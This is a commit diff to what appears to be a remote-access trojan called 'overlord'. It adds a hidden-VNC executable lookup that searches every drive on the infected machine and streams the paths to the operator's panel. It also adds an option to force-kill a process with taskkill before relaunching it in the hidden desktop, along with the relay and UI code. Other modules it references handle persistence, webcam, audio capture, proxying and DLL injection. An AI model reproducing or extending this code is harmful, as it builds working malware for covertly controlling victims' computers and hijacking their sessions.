add file lookup to hvnc
This commit is contained in:
@@ -0,0 +1,106 @@
|
|||||||
|
package filesearch
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
var SkipDirs = map[string]bool{
|
||||||
|
"$recycle.bin": true,
|
||||||
|
"windows": true,
|
||||||
|
"system volume information": true,
|
||||||
|
}
|
||||||
|
|
||||||
|
type ResultFunc func(path string)
|
||||||
|
|
||||||
|
func LookupExe(exeName string, workers int, onResult ResultFunc) {
|
||||||
|
if workers <= 0 {
|
||||||
|
workers = 8
|
||||||
|
}
|
||||||
|
lowerExe := strings.ToLower(exeName)
|
||||||
|
roots := driveRoots()
|
||||||
|
|
||||||
|
dirs := make(chan string, 256)
|
||||||
|
|
||||||
|
var inflight sync.WaitGroup
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
for i := 0; i < workers; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for dir := range dirs {
|
||||||
|
walkDir(dir, lowerExe, dirs, &inflight, onResult)
|
||||||
|
inflight.Done()
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, root := range roots {
|
||||||
|
entries, err := os.ReadDir(root)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, e := range entries {
|
||||||
|
if e.IsDir() {
|
||||||
|
if SkipDirs[strings.ToLower(e.Name())] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
inflight.Add(1)
|
||||||
|
dirs <- filepath.Join(root, e.Name())
|
||||||
|
} else if strings.ToLower(e.Name()) == lowerExe {
|
||||||
|
onResult(filepath.Join(root, e.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
inflight.Wait()
|
||||||
|
close(dirs)
|
||||||
|
}()
|
||||||
|
|
||||||
|
wg.Wait()
|
||||||
|
}
|
||||||
|
|
||||||
|
func walkDir(root, lowerExe string, dirs chan<- string, inflight *sync.WaitGroup, onResult ResultFunc) {
|
||||||
|
entries, err := os.ReadDir(root)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, e := range entries {
|
||||||
|
full := filepath.Join(root, e.Name())
|
||||||
|
if e.IsDir() {
|
||||||
|
if SkipDirs[strings.ToLower(e.Name())] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
inflight.Add(1)
|
||||||
|
select {
|
||||||
|
case dirs <- full:
|
||||||
|
default:
|
||||||
|
inflight.Done()
|
||||||
|
walkDir(full, lowerExe, dirs, inflight, onResult)
|
||||||
|
}
|
||||||
|
} else if strings.ToLower(e.Name()) == lowerExe {
|
||||||
|
onResult(full)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func driveRoots() []string {
|
||||||
|
if os.PathSeparator == '\\' {
|
||||||
|
var roots []string
|
||||||
|
for c := 'A'; c <= 'Z'; c++ {
|
||||||
|
root := string(c) + ":\\"
|
||||||
|
if info, err := os.Stat(root); err == nil && info.IsDir() {
|
||||||
|
roots = append(roots, root)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(roots) == 0 {
|
||||||
|
roots = append(roots, "C:\\")
|
||||||
|
}
|
||||||
|
return roots
|
||||||
|
}
|
||||||
|
return []string{"/"}
|
||||||
|
}
|
||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
|
"os/exec"
|
||||||
goruntime "runtime"
|
goruntime "runtime"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -16,6 +17,7 @@ import (
|
|||||||
"overlord-client/cmd/agent/audio"
|
"overlord-client/cmd/agent/audio"
|
||||||
"overlord-client/cmd/agent/capture"
|
"overlord-client/cmd/agent/capture"
|
||||||
"overlord-client/cmd/agent/console"
|
"overlord-client/cmd/agent/console"
|
||||||
|
"overlord-client/cmd/agent/filesearch"
|
||||||
"overlord-client/cmd/agent/persistence"
|
"overlord-client/cmd/agent/persistence"
|
||||||
"overlord-client/cmd/agent/plugins"
|
"overlord-client/cmd/agent/plugins"
|
||||||
"overlord-client/cmd/agent/runtime"
|
"overlord-client/cmd/agent/runtime"
|
||||||
@@ -1284,20 +1286,61 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
case "hvnc_start_process":
|
case "hvnc_start_process":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
filePath := ""
|
filePath := ""
|
||||||
|
killExe := ""
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["path"].(string); ok {
|
if v, ok := payload["path"].(string); ok {
|
||||||
filePath = v
|
filePath = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["kill_exe"].(string); ok {
|
||||||
|
killExe = v
|
||||||
|
}
|
||||||
}
|
}
|
||||||
log.Printf("hvnc: start process %q", filePath)
|
log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe)
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("hvnc_start_process", nil, func() {
|
goSafe("hvnc_start_process", nil, func() {
|
||||||
|
if killExe != "" {
|
||||||
|
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
||||||
|
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||||
|
}
|
||||||
if err := capture.StartHVNCProcess(filePath); err != nil {
|
if err := capture.StartHVNCProcess(filePath); err != nil {
|
||||||
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
|
case "hvnc_lookup":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
exeName := ""
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["exe"].(string); ok {
|
||||||
|
exeName = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if exeName == "" {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
log.Printf("hvnc: lookup exe %q", exeName)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("hvnc_lookup", nil, func() {
|
||||||
|
filesearch.LookupExe(exeName, 8, func(path string) {
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
||||||
|
Type: "hvnc_lookup_result",
|
||||||
|
Exe: exeName,
|
||||||
|
Path: path,
|
||||||
|
Done: false,
|
||||||
|
})
|
||||||
|
})
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
||||||
|
Type: "hvnc_lookup_result",
|
||||||
|
Exe: exeName,
|
||||||
|
Path: "",
|
||||||
|
Done: true,
|
||||||
|
})
|
||||||
|
log.Printf("hvnc: lookup complete for %q", exeName)
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
|
||||||
case "hvnc_start_process_injected":
|
case "hvnc_start_process_injected":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
filePath := ""
|
filePath := ""
|
||||||
|
|||||||
@@ -221,6 +221,13 @@ type HVNCCloneProgress struct {
|
|||||||
Status string `msgpack:"status"`
|
Status string `msgpack:"status"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type HVNCLookupResult struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Exe string `msgpack:"exe"`
|
||||||
|
Path string `msgpack:"path"`
|
||||||
|
Done bool `msgpack:"done"`
|
||||||
|
}
|
||||||
|
|
||||||
type ProxyData struct {
|
type ProxyData struct {
|
||||||
Type string `msgpack:"type"`
|
Type string `msgpack:"type"`
|
||||||
ConnectionID string `msgpack:"connectionId"`
|
ConnectionID string `msgpack:"connectionId"`
|
||||||
|
|||||||
@@ -647,6 +647,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
handleCloneProgress(msg);
|
handleCloneProgress(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_lookup_result") {
|
||||||
|
handleLookupResult(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_error") {
|
if (msg && msg.type === "hvnc_error") {
|
||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
return;
|
return;
|
||||||
@@ -663,6 +667,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
handleCloneProgress(msg);
|
handleCloneProgress(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_lookup_result") {
|
||||||
|
handleLookupResult(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_error") {
|
if (msg && msg.type === "hvnc_error") {
|
||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
return;
|
return;
|
||||||
@@ -897,6 +905,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
hideContextMenu();
|
hideContextMenu();
|
||||||
showCustomExeModal();
|
showCustomExeModal();
|
||||||
return;
|
return;
|
||||||
|
} else if (action === "lookup-exe") {
|
||||||
|
hideContextMenu();
|
||||||
|
showLookupExeModal();
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
hideContextMenu();
|
hideContextMenu();
|
||||||
});
|
});
|
||||||
@@ -943,6 +955,113 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
|
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let activeLookupOverlay = null;
|
||||||
|
|
||||||
|
function showLookupExeModal() {
|
||||||
|
if (activeLookupOverlay) activeLookupOverlay.remove();
|
||||||
|
const overlay = document.createElement("div");
|
||||||
|
overlay.id = "hvncLookupExeOverlay";
|
||||||
|
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
|
||||||
|
overlay.innerHTML = `
|
||||||
|
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-[480px] shadow-2xl flex flex-col" style="max-height:80vh">
|
||||||
|
<div class="text-sm font-semibold text-slate-100 mb-3">Lookup Executable</div>
|
||||||
|
<label class="block text-xs text-slate-400 mb-1">Exe filename (e.g. notepad.exe)</label>
|
||||||
|
<div class="flex gap-2 mb-3">
|
||||||
|
<input id="hvncLookupExeName" type="text" placeholder="notepad.exe"
|
||||||
|
class="flex-1 bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 focus:outline-none focus:border-violet-500" />
|
||||||
|
<button id="hvncLookupBtn" class="button primary text-sm px-4">
|
||||||
|
<i class="fa-solid fa-magnifying-glass mr-1"></i>Lookup
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div id="hvncLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
|
||||||
|
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Searching…
|
||||||
|
</div>
|
||||||
|
<div id="hvncLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
|
||||||
|
<div class="text-xs text-slate-600 text-center py-4">Results will appear here</div>
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center mt-3">
|
||||||
|
<label class="flex items-center gap-2 cursor-pointer select-none">
|
||||||
|
<input type="checkbox" id="hvncLookupKill" class="accent-red-500 w-4 h-4 rounded" />
|
||||||
|
<span class="text-xs text-slate-300">Kill before starting</span>
|
||||||
|
</label>
|
||||||
|
<div class="ml-auto">
|
||||||
|
<button id="hvncLookupClose" class="button ghost text-sm">Close</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>`;
|
||||||
|
document.body.appendChild(overlay);
|
||||||
|
activeLookupOverlay = overlay;
|
||||||
|
|
||||||
|
const nameInput = document.getElementById("hvncLookupExeName");
|
||||||
|
const lookupBtn = document.getElementById("hvncLookupBtn");
|
||||||
|
const statusEl = document.getElementById("hvncLookupStatus");
|
||||||
|
const resultsEl = document.getElementById("hvncLookupResults");
|
||||||
|
nameInput.focus();
|
||||||
|
|
||||||
|
function close() { overlay.remove(); activeLookupOverlay = null; }
|
||||||
|
document.getElementById("hvncLookupClose").addEventListener("click", close);
|
||||||
|
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
|
||||||
|
|
||||||
|
function startLookup() {
|
||||||
|
const exe = nameInput.value.trim();
|
||||||
|
if (!exe) return;
|
||||||
|
resultsEl.innerHTML = "";
|
||||||
|
statusEl.classList.remove("hidden");
|
||||||
|
lookupBtn.disabled = true;
|
||||||
|
lookupBtn.classList.add("opacity-50");
|
||||||
|
sendCmd("hvnc_lookup", { exe });
|
||||||
|
}
|
||||||
|
|
||||||
|
lookupBtn.addEventListener("click", startLookup);
|
||||||
|
nameInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); startLookup(); } });
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleLookupResult(msg) {
|
||||||
|
const overlay = activeLookupOverlay;
|
||||||
|
if (!overlay) return;
|
||||||
|
const statusEl = document.getElementById("hvncLookupStatus");
|
||||||
|
const resultsEl = document.getElementById("hvncLookupResults");
|
||||||
|
const lookupBtn = document.getElementById("hvncLookupBtn");
|
||||||
|
if (!resultsEl) return;
|
||||||
|
|
||||||
|
if (msg.done) {
|
||||||
|
if (statusEl) {
|
||||||
|
statusEl.innerHTML = '<i class="fa-solid fa-check mr-1 text-emerald-400"></i>Search complete';
|
||||||
|
setTimeout(() => statusEl.classList.add("hidden"), 3000);
|
||||||
|
}
|
||||||
|
if (lookupBtn) {
|
||||||
|
lookupBtn.disabled = false;
|
||||||
|
lookupBtn.classList.remove("opacity-50");
|
||||||
|
}
|
||||||
|
if (!resultsEl.querySelector("[data-lookup-path]")) {
|
||||||
|
resultsEl.innerHTML = '<div class="text-xs text-slate-500 text-center py-4">No results found</div>';
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (msg.path) {
|
||||||
|
// Remove placeholder if present
|
||||||
|
const placeholder = resultsEl.querySelector(":scope > div:not([data-lookup-path])");
|
||||||
|
if (placeholder) placeholder.remove();
|
||||||
|
|
||||||
|
const item = document.createElement("button");
|
||||||
|
item.type = "button";
|
||||||
|
item.dataset.lookupPath = msg.path;
|
||||||
|
item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block";
|
||||||
|
item.textContent = msg.path;
|
||||||
|
item.title = "Click to start in HVNC: " + msg.path;
|
||||||
|
item.addEventListener("click", () => {
|
||||||
|
const killCheckbox = document.getElementById("hvncLookupKill");
|
||||||
|
const killExe = killCheckbox?.checked ? msg.exe : "";
|
||||||
|
sendCmd("hvnc_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
|
||||||
|
item.classList.add("text-emerald-400");
|
||||||
|
item.innerHTML = '<i class="fa-solid fa-check mr-1"></i>' + (killExe ? '(killed) ' : '') + msg.path;
|
||||||
|
});
|
||||||
|
resultsEl.appendChild(item);
|
||||||
|
item.scrollIntoView({ block: "nearest" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function updateLatencyDisplay(ms) {
|
function updateLatencyDisplay(ms) {
|
||||||
lastLatencyMs = ms;
|
lastLatencyMs = ms;
|
||||||
if (latencyEl) {
|
if (latencyEl) {
|
||||||
|
|||||||
@@ -229,6 +229,13 @@
|
|||||||
>
|
>
|
||||||
<i class="fa-solid fa-file mr-2 text-slate-300"></i>Run custom exe…
|
<i class="fa-solid fa-file mr-2 text-slate-300"></i>Run custom exe…
|
||||||
</button>
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||||
|
data-action="lookup-exe"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-magnifying-glass mr-2 text-amber-300"></i>Lookup exe…
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
<style>
|
<style>
|
||||||
body {
|
body {
|
||||||
|
|||||||
@@ -78,6 +78,7 @@ import {
|
|||||||
handleWebcamViewerOpen,
|
handleWebcamViewerOpen,
|
||||||
handleWebcamDevices,
|
handleWebcamDevices,
|
||||||
handleHVNCCloneProgress,
|
handleHVNCCloneProgress,
|
||||||
|
handleHVNCLookupResult,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
handleRemoteDesktopViewerOpen,
|
handleRemoteDesktopViewerOpen,
|
||||||
hvncStreamingState,
|
hvncStreamingState,
|
||||||
@@ -460,6 +461,7 @@ async function startServer() {
|
|||||||
handleVoiceUplink,
|
handleVoiceUplink,
|
||||||
handleWebcamDevices,
|
handleWebcamDevices,
|
||||||
handleHVNCCloneProgress,
|
handleHVNCCloneProgress,
|
||||||
|
handleHVNCLookupResult,
|
||||||
cleanupVoiceViewer,
|
cleanupVoiceViewer,
|
||||||
stopConsoleOnTarget,
|
stopConsoleOnTarget,
|
||||||
sendDesktopCommand,
|
sendDesktopCommand,
|
||||||
|
|||||||
@@ -76,6 +76,7 @@ type WsLifecycleDeps = {
|
|||||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||||
|
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||||
@@ -487,6 +488,9 @@ export async function handleWebSocketMessage(
|
|||||||
case "hvnc_clone_progress":
|
case "hvnc_clone_progress":
|
||||||
deps.handleHVNCCloneProgress(client.id, payload);
|
deps.handleHVNCCloneProgress(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_lookup_result":
|
||||||
|
deps.handleHVNCLookupResult(client.id, payload);
|
||||||
|
break;
|
||||||
case "proxy_data": {
|
case "proxy_data": {
|
||||||
const connId = (payload as any).connectionId;
|
const connId = (payload as any).connectionId;
|
||||||
const tunnelData = (payload as any).data;
|
const tunnelData = (payload as any).data;
|
||||||
|
|||||||
@@ -494,6 +494,17 @@ export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||||
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
|
safeSendViewer(session.viewer, {
|
||||||
|
type: "hvnc_lookup_result",
|
||||||
|
exe: String(payload.exe || ""),
|
||||||
|
path: String(payload.path || ""),
|
||||||
|
done: !!payload.done,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||||
const payload = decodeViewerPayload(raw);
|
const payload = decodeViewerPayload(raw);
|
||||||
if (!payload || typeof payload.type !== "string") return;
|
if (!payload || typeof payload.type !== "string") return;
|
||||||
@@ -670,8 +681,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
case "hvnc_key_up":
|
case "hvnc_key_up":
|
||||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_lookup":
|
||||||
|
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
|
||||||
|
break;
|
||||||
case "hvnc_start_process":
|
case "hvnc_start_process":
|
||||||
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
|
sendHVNCCommand(target, "hvnc_start_process", {
|
||||||
|
path: String(payload.path || ""),
|
||||||
|
kill_exe: String(payload.kill_exe || ""),
|
||||||
|
});
|
||||||
break;
|
break;
|
||||||
case "hvnc_start_process_injected": {
|
case "hvnc_start_process_injected": {
|
||||||
const dllData = getInjectionDllBytes();
|
const dllData = getInjectionDllBytes();
|
||||||
|
|||||||
@@ -28,6 +28,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"voice_uplink",
|
"voice_uplink",
|
||||||
"webcam_devices",
|
"webcam_devices",
|
||||||
"hvnc_clone_progress",
|
"hvnc_clone_progress",
|
||||||
|
"hvnc_lookup_result",
|
||||||
"proxy_data",
|
"proxy_data",
|
||||||
"proxy_close",
|
"proxy_close",
|
||||||
]);
|
]);
|
||||||
|
|||||||
Reference in New Issue
Block a user